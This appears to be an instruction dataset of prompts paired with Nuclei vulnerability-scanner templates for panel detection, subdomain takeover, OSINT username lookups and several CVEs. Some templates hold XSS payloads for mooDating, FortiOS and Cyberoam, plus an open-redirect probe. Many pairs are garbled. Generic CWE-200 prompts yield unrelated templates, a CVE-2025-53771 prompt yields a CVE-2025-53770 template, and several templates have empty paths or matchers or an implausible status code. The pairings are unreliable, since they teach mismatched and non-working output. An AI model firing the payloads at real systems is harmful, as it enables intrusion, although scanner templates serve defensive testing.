Title: Exposure of Sensitive Information to an Unauthorized Actor (CWE-200)
Summary: The product exposes sensitive information to an actor that is not explicitly authorized to have access to that information. There are many different kinds of mistakes that introduce information exposures. The severity of the error can range widely, depending on the context in which the product operates, the type of sensitive information that is revealed, and the benefits it may provide to an attacker.  Some kinds of sensitive information include:
        private, personal information, such as p
Vulnerability Type: Exposure of Sensitive Information to an Unauthorized Actor
Severity: medium
Indicators: error, unauthorized

Output:
id: apache-mesos-panel

info:
  name: Apache Mesos - Panel Detect
  author: pikpikcu
  severity: info
  description: Apache Mesos panel was detected.
  tags: panel,apache,mesos,discovery

http:
  - method: GET
    path:
      - "{{BaseURL}}"
      - "{{BaseURL}}:5050"
    matchers:
      - type: word
        words:
          - "<title>Mesos</title>"
          - "Apache"
        part: body
        condition: and
      - type: status
        status:
          - 200


Instruction: Generate a Nuclei template for: Readme.io Takeover Detection

Input:
Title: Readme.io Takeover Detection
Summary: Readme.io Takeover Detection. Readme.io takeover was detected.
Vulnerability Type: Security Check
Severity: high
Indicators: vulnerability detected

Output:
id: readme-takeover

info:
  name: Readme.io Takeover Detection
  author: pdteam
  severity: high
  description: Readme.io takeover was detected.
  tags: takeover,readme,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}"
    matchers:
      - type: dsl
      - type: word
        words:
          - "Project doesnt exist... yet!"


Instruction: Generate a Nuclei template for: Table of Contents Plus Detection

Input:
Title: Table of Contents Plus Detection
Summary: Table of Contents Plus Detection. Tags: tech, wordpress, wp-plugin
Vulnerability Type: Security Check
Severity: info
Indicators: vulnerability detected

Output:
id: wordpress-table-of-contents-plus

info:
  name: Table of Contents Plus Detection
  author: ricardomaia
  severity: info
  description: Table of Contents Plus Detection
  tags: tech,wordpress,wp-plugin,top-200,discovery

http:
  - method: GET
    path:
      - "{{BaseURL}}/wp-content/plugins/table-of-contents-plus/readme.txt"
    matchers:
      - type: dsl
      - type: regex
        part: body


Instruction: Generate a Nuclei template for: Unauthenticated LDAP Account Manager

Input:
Title: Unauthenticated LDAP Account Manager
Summary: Unauthenticated LDAP Account Manager. LDAP Account Manager is exposed to external users.
Vulnerability Type: Security Check
Severity: medium
Indicators: vulnerability detected

Output:
id: unauth-ldap-account-manager

info:
  name: Unauthenticated LDAP Account Manager
  author: tess
  severity: medium
  description: LDAP Account Manager is exposed to external users.
  tags: ldap,misconfig,unauth,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/templates/config/profmanage.php"
    matchers:
      - type: word
        words:
          - "LDAP Account Manager"
          - "Profile management"
          - "Add profile"
        part: body
        condition: and
      - type: word
        words:
          - "text/html"
        part: header
      - type: status
        status:
          - 200


Instruction: Generate a Nuclei template for: SMTP Commands Enumeration

Input:
Title: SMTP Commands Enumeration
Summary: SMTP Commands Enumeration. Attempts to use EHLO and HELP to gather the Extended commands supported by an SMTP server.

Vulnerability Type: Security Check
Severity: info
Indicators: vulnerability detected

Output:
id: smtp-commands-enum

info:
  name: SMTP Commands Enumeration
  author: pussycat0x,userdehghani,AV-IO
  severity: info
  description: Attempts to use EHLO and HELP to gather the Extended commands supported by an SMTP server.
  tags: network,enum,smtp,mail,tcp,discovery

http:
  - method: GET
    path:
      - "/"
    matchers:
      - type: status
        status:
          - 200


Instruction: Generate a Nuclei template for CVE-2021-46418

Input:
Title: Unknown Vulnerability in telesquare tlr-2855ks6_firmware
Summary: An unauthorized file creation vulnerability in Telesquare TLR-2855KS6 via PUT method can allow creation of CGI scripts.
Vulnerability Type: Unknown Vulnerability
Severity: high
Affected Products: telesquare tlr-2855ks6_firmware
Indicators: unauthorized

Output:
id: CVE-2021-46418

info:
  name: Telesquare TLR-2855KS6 - Arbitrary File Creation
  author: DhiyaneshDK
  severity: high
  description: An unauthorized file creation vulnerability in Telesquare TLR-2855KS6 via PUT method can allow creation of CGI scripts.
  tags: packetstorm,cve,cve2021,telesquare,intrusive,vuln

http:
  - method: GET
    path:
    matchers:
      - type: dsl
        condition: and


Instruction: Generate a Nuclei template for: Azure VM Tags Schema Non-compliant

Input:
Title: Azure VM Tags Schema Non-compliant
Summary: Azure VM Tags Schema Non-compliant. Ensure that user-defined tags are being used for labeling, collecting, and organizing cloud resources within your Microsoft Azure account. User-defined tags are name/value pairs that enable you to categorize resources and view consolidated billing by applying the same tag to multiple cloud resources. Trend Micro Cloud One™ – Conformity recommends the following tagging schema to help you identify and manage your Azure resources: Name, Role, Environment, and Own
Vulnerability Type: Security Check
Severity: low
Indicators: vulnerability detected

Output:
id: azure-vm-tags-schema-noncompliant

info:
  name: Azure VM Tags Schema Non-compliant
  author: princechaddha
  severity: low
  description: Ensure that user-defined tags are being used for labeling, collecting, and organizing cloud resources within your Microsoft Azure account. User-defined tags are name/value pairs that enable you to categorize resources and view consolidated billing by applying the same tag to multiple cloud resources. Trend Micro Cloud One™ – Conformity recommends the following tagging schema to help you identify and manage your Azure resources: Name, Role, Environment, and Owner.
  tags: cloud,devops,azure,microsoft,azure-vm,azure-cloud-config

http:
  - method: GET
    path:
      - "/"
    matchers:
      - type: status
        status:
          - 200


Instruction: Generate a Nuclei template for CVE-2023-3843

Input:
Title: Cross-Site Scripting (XSS) in moosocial moodating
Summary: A vulnerability was found in mooSocial mooDating 1.2. It has been classified as problematic. Affected is an unknown function of the file /matchmakings/question of the component URL Handler. The manipulation leads to cross site scripting. It is possible to launch the attack remotely. VDB-235194 is the identifier assigned to this vulnerability. NOTE: We tried to contact the vendor early about the disclosure but the official mail address was not working properly.
Vulnerability Type: Cross-Site Scripting (XSS)
Severity: low
Affected Products: moosocial moodating
Indicators: error, vulnerability detected

Output:
id: CVE-2023-3843

info:
  name: mooDating 1.2 - Cross-site scripting
  author: r3Y3r53
  severity: medium
  description: A vulnerability was found in mooSocial mooDating 1.2. It has been classified as problematic. Affected is an unknown function of the file /matchmakings/question of the component URL Handler. The manipulation leads to cross site scripting. It is possible to launch the attack remotely. VDB-235194 is the identifier assigned to this vulnerability. NOTE: We tried to contact the vendor early about the disclosure but the official mail address was not working properly.
  tags: cve2023,cve,xss,unauth,exploitdb,moodating,moosocial,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/matchmakings/questiontmili%22%3E%3Cimg%20src%3da%20onerror%3dalert(document.domain)%3Ew71ch?number="
    matchers:
      - type: dsl
        condition: and


Instruction: Generate a Nuclei template for: JDBC Connection String Disclosure

Input:
Title: JDBC Connection String Disclosure
Summary: JDBC Connection String Disclosure. Tags: exposure, token, generic
Vulnerability Type: Security Check
Severity: info
Indicators: vulnerability detected

Output:
id: jdbc-connection-string

info:
  name: JDBC Connection String Disclosure
  author: Ice3man
  severity: info
  description: JDBC Connection String Disclosure
  tags: exposure,token,generic,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}"
    matchers:
      - type: status
        status:
          - 200


Instruction: Generate a Nuclei template for CVE-2025-53771

Input:
Title: Authentication Bypass in microsoft sharepoint_server
Summary: Improper authentication in Microsoft Office SharePoint allows an unauthorized attacker to perform spoofing over a network.
Vulnerability Type: Authentication Bypass
Severity: medium
Affected Products: microsoft sharepoint_server
Indicators: unauthorized

Output:
id: CVE-2025-53770

info:
  name: Microsoft SharePoint Server - Remote Code Execution (ToolShell)
  author: _l0gg,SamIntruder,sfewer-r7,iamnoooob,pdresearch
  severity: critical
  description: Deserialization of untrusted data in on-premises Microsoft SharePoint Server allows an unauthorized attacker to execute code over a network. This vulnerability is part of the ToolShell exploit chain and when combined with CVE-2025-53771 (authentication bypass), enables unauthenticated remote code execution. Microsoft is aware that an exploit for CVE-2025-53770 exists in the wild. Microsoft is preparing and fully testing a comprehensive update to address this vulnerability. In the meantime, please make sure that the mitigation provided in this CVE documentation is in place so that you are protected from exploitation.
  tags: cve,cve2025,kev,sharepoint,rce,microsoft,toolshell,vkev,vuln

http:
  - method: GET
    path:
    matchers:
      - type: dsl
        condition: and


Instruction: Generate a Nuclei template to detect Exposure of Sensitive Information to an Unauthorized Actor

Input:
Title: Exposure of Sensitive Information to an Unauthorized Actor (CWE-200)
Summary: The product exposes sensitive information to an actor that is not explicitly authorized to have access to that information. There are many different kinds of mistakes that introduce information exposures. The severity of the error can range widely, depending on the context in which the product operates, the type of sensitive information that is revealed, and the benefits it may provide to an attacker.  Some kinds of sensitive information include:
        private, personal information, such as p
Vulnerability Type: Exposure of Sensitive Information to an Unauthorized Actor
Severity: medium
Indicators: error, unauthorized

Output:
id: dataiku-panel

info:
  name: Dataiku Panel - Detect
  author: DhiyaneshDk
  severity: info
  description: Dataiku panel was detected.
  tags: panel,dataiku,discovery

http:
  - method: GET
    path:
      - "{{BaseURL}}"
    matchers:
      - type: word
        words:
          - "<title>Dataiku</title>"
      - type: word
        words:
          - "text/html"
        part: header


Instruction: Generate a Nuclei template for CVE-2024-6781

Input:
Title: Path Traversal in calibre-ebook calibre
Summary: Path traversal in Calibre <= 7.14.0 allow unauthenticated attackers to achieve arbitrary file read.
Vulnerability Type: Path Traversal
Severity: high
Affected Products: calibre-ebook calibre
Indicators: error, vulnerability detected

Output:
id: CVE-2024-6781

info:
  name: Calibre <= 7.14.0 Arbitrary File Read
  author: DhiyaneshDK
  severity: high
  description: Arbitrary file read via Calibre’s content server in Calibre <= 7.14.0.
  tags: cve,cve2024,calibre,lfi,vuln

http:
  - method: GET
    path:
    matchers:
      - type: status
        status:
          - 200
  - method: GET
    path:
    matchers:
      - type: word
        words:
          - "application/json"
        part: content_type
      - type: regex
        part: body
        condition: and
      - type: status
        status:
          - 200


Instruction: Generate a Nuclei template for: WordPress Brandfolder - Open Redirect (RFI & LFI)

Input:
Title: WordPress Brandfolder - Open Redirect (RFI & LFI)
Summary: WordPress Brandfolder - Open Redirect (RFI & LFI). WordPress Brandfolder is vulnerable to remote/local file inclusion and allows remote attackers to inject an arbitrary URL into the 'callback.php' endpoint via the 'wp_abspath' parameter which will redirect the victim to it.

Vulnerability Type: Security Check
Severity: medium
Indicators: vulnerability detected

Output:
id: brandfolder-open-redirect

info:
  name: WordPress Brandfolder - Open Redirect (RFI & LFI)
  author: 0x_Akoko
  severity: medium
  description: WordPress Brandfolder is vulnerable to remote/local file inclusion and allows remote attackers to inject an arbitrary URL into the 'callback.php' endpoint via the 'wp_abspath' parameter which will redirect the victim to it.
  tags: wp,brandfolder,edb,wpscan,wp-plugin,redirect,rfi,wordpress,lfi,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/wp-content/plugins/brandfolder/callback.php?wp_abspath=https://interact.sh/"
    matchers:
      - type: regex
        part: header


Instruction: Generate a Nuclei template for: Wing FTP Server Login Panel - Detect

Input:
Title: Wing FTP Server Login Panel - Detect
Summary: Wing FTP Server Login Panel - Detect. Detects the presence of Wing FTP Server web interface

Vulnerability Type: Security Check
Severity: info
Indicators: vulnerability detected

Output:
id: wingftp-panel

info:
  name: Wing FTP Server Login Panel - Detect
  author: pdteam
  severity: info
  description: Detects the presence of Wing FTP Server web interface
  tags: panel,login,wingftp,discovery

http:
  - method: GET
    path:
      - "{{BaseURL}}/login.html"
    matchers:
      - type: word
        words:
          - "Wing FTP Server"
        part: response


Instruction: Generate a Nuclei template for: Exposed MCP JSON-RPC 2.0 API Detection

Input:
Title: Exposed MCP JSON-RPC 2.0 API Detection
Summary: Exposed MCP JSON-RPC 2.0 API Detection. Detects exposed Machine Control Protocol (MCP) servers through JSON-RPC 2.0 API endpoints.
MCP servers often provide administrative access to AI tools, LLM systems, or other automation infrastructure.
Exposed MCP interfaces can lead to unauthorized access, information disclosure, and potential system compromise.
This template tests multiple detection methods including tools/list, rpc.discover, resources/list, and prompts/list.

Vulnerability Type: Security Check
Severity: info
Indicators: vulnerability detected

Output:
id: exposed-mcp-server

info:
  name: Exposed MCP JSON-RPC 2.0 API Detection
  author: ivan_wallarm
  severity: info
  description: Detects exposed Machine Control Protocol (MCP) servers through JSON-RPC 2.0 API endpoints.
MCP servers often provide administrative access to AI tools, LLM systems, or other automation infrastructure.
Exposed MCP interfaces can lead to unauthorized access, information disclosure, and potential system compromise.
This template tests multiple detection methods including tools/list, rpc.discover, resources/list, and prompts/list.
  tags: mcp,jsonrpc,devtools,exposure,api,ai,llm,discovery

http:
  - method: POST
    path:
      - "{{BaseURL}}"
      - "{{BaseURL}}/mcp/"
    matchers:
      - type: word
        words:
          - "jsonrpc"
          - "result"
        part: body
        condition: and
      - type: regex
        part: body


Instruction: Generate a Nuclei template for CVE-2018-13380

Input:
Title: Cross-Site Scripting (XSS) in fortinet fortios and others
Summary: A Cross-site Scripting (XSS) vulnerability in Fortinet FortiOS 6.0.0 to 6.0.4, 5.6.0 to 5.6.7, 5.4.0 to 5.4.12, 5.2 and below and Fortinet FortiProxy 2.0.0, 1.2.8 and below under SSL VPN web portal allows attacker to execute unauthorized malicious script code via the error or message handling parameters.
Vulnerability Type: Cross-Site Scripting (XSS)
Severity: medium
Affected Products: fortinet fortios, fortinet fortiproxy
Indicators: error, unauthorized

Output:
id: CVE-2018-13380

info:
  name: Fortinet FortiOS - Cross-Site Scripting
  author: shelld3v,AaronChen0
  severity: medium
  description: Fortinet FortiOS 6.0.0 to 6.0.4, 5.6.0 to 5.6.7, 5.4.0 to 5.4.12, 5.2 and below versions under SSL VPN web portal are vulnerable to cross-site scripting and allows attacker to execute unauthorized malicious script code via the error or message handling parameters.
  tags: cve,cve2018,fortios,xss,fortinet,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/message?title=x&msg=%26%23%3Csvg/onload=alert(1337)%3E%3B"
      - "{{BaseURL}}/remote/error?errmsg=ABABAB--%3E%3Cscript%3Ealert(1337)%3C/script%3E"
    matchers:
      - type: word
        words:
          - "<svg/onload=alert(1337)>"
          - "<script>alert(1337)</script>"
        part: body
        condition: or
      - type: word
        words:
          - "application/json"
        part: header
      - type: status
        status:
          - 200


Instruction: Generate a Nuclei template to detect Exposure of Sensitive Information to an Unauthorized Actor

Input:
Title: Exposure of Sensitive Information to an Unauthorized Actor (CWE-200)
Summary: The product exposes sensitive information to an actor that is not explicitly authorized to have access to that information. There are many different kinds of mistakes that introduce information exposures. The severity of the error can range widely, depending on the context in which the product operates, the type of sensitive information that is revealed, and the benefits it may provide to an attacker.  Some kinds of sensitive information include:
        private, personal information, such as p
Vulnerability Type: Exposure of Sensitive Information to an Unauthorized Actor
Severity: medium
Indicators: error, unauthorized

Output:
id: airliners

info:
  name: Airliners User Name Information - Detect
  author: dwisiswant0
  severity: info
  description: Airliners user name information check was conducted.
  tags: osint,osint-social,airliners,discovery

http:
  - method: GET
    path:
      - "https://www.airliners.net/user/{{user}}/profile"
    matchers:
      - type: status
        status:
          - 200
      - type: word
        words:
          - "'s Profile | Airliners Members | Airliners.net"
        part: body


Instruction: Generate a Nuclei template to detect Exposure of Sensitive Information to an Unauthorized Actor

Input:
Title: Exposure of Sensitive Information to an Unauthorized Actor (CWE-200)
Summary: The product exposes sensitive information to an actor that is not explicitly authorized to have access to that information. There are many different kinds of mistakes that introduce information exposures. The severity of the error can range widely, depending on the context in which the product operates, the type of sensitive information that is revealed, and the benefits it may provide to an attacker.  Some kinds of sensitive information include:
        private, personal information, such as p
Vulnerability Type: Exposure of Sensitive Information to an Unauthorized Actor
Severity: medium
Indicators: error, unauthorized

Output:
id: droners

info:
  name: Droners User Name Information - Detect
  author: dwisiswant0
  severity: info
  description: Droners user name information check was conducted.
  tags: osint,osint-hobby,droners,discovery

http:
  - method: GET
    path:
      - "https://droners.io/accounts/{{user}}/"
    matchers:
      - type: status
        status:
          - 200
      - type: word
        words:
          - "- Professional Drone Pilot"
        part: body


Instruction: Generate a Nuclei template for: Ruckus Unleashed Exposed Installation

Input:
Title: Ruckus Unleashed Exposed Installation
Summary: Ruckus Unleashed Exposed Installation. Ruckus Unleashed is susceptible to the Installation page exposure due to misconfiguration.
Vulnerability Type: Security Check
Severity: high
Indicators: vulnerability detected

Output:
id: ruckus-unleashed-install

info:
  name: Ruckus Unleashed Exposed Installation
  author: ritikchaddha
  severity: high
  description: Ruckus Unleashed is susceptible to the Installation page exposure due to misconfiguration.
  tags: misconfig,ruckus,unleashed,install,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/admin/wizard.jsp"
    matchers:
      - type: word
        words:
          - "<title>Setup Wizard"
          - "/ruckus"
        condition: and
      - type: status
        status:
          - 200


Instruction: Generate a Nuclei template to detect Exposure of Sensitive Information to an Unauthorized Actor

Input:
Title: Exposure of Sensitive Information to an Unauthorized Actor (CWE-200)
Summary: The product exposes sensitive information to an actor that is not explicitly authorized to have access to that information. There are many different kinds of mistakes that introduce information exposures. The severity of the error can range widely, depending on the context in which the product operates, the type of sensitive information that is revealed, and the benefits it may provide to an attacker.  Some kinds of sensitive information include:
        private, personal information, such as p
Vulnerability Type: Exposure of Sensitive Information to an Unauthorized Actor
Severity: medium
Indicators: error, unauthorized

Output:
id: audiocodes-detect

info:
  name: AudioCodes Login - Panel Detect
  author: princechaddha
  severity: info
  description: AudioCodes login panel was detected.
  tags: panel,audiocodes,discovery

http:
  - method: GET
    path:
      - "{{BaseURL}}"
    matchers:
      - type: word
        words:
          - "AudioCodes"
          - "login"
        part: body
        condition: and
      - type: status
        status:
          - 203


Instruction: Generate a Nuclei template for CVE-2021-38702

Input:
Title: Cross-Site Scripting (XSS) in cyberoamworks netgenie_c0101b1-20141120-ng11vo_firmware
Summary: Cyberoam NetGenie C0101B1-20141120-NG11VO devices through 2021-08-14 allow tweb/ft.php?u=[XSS] attacks.
Vulnerability Type: Cross-Site Scripting (XSS)
Severity: medium
Affected Products: cyberoamworks netgenie_c0101b1-20141120-ng11vo_firmware
Indicators: error, vulnerability detected

Output:
id: CVE-2021-38702

info:
  name: Cyberoam NetGenie Cross-Site Scripting
  author: geeknik
  severity: medium
  description: Cyberoam NetGenie C0101B1-20141120-NG11VO devices through 2021-08-14 are susceptible to reflected cross-site scripting via the 'u' parameter of ft.php.
  tags: cve2021,cve,cyberoam,netgenie,xss,router,seclists,packetstorm,cyberoamworks,vkev,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/tweb/ft.php?u=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"
    matchers:
      - type: word
        words:
          - "</script><script>alert(document.domain)</script>"
      - type: word
        words:
          - "text/html"
        part: header
      - type: status
        status:
          - 200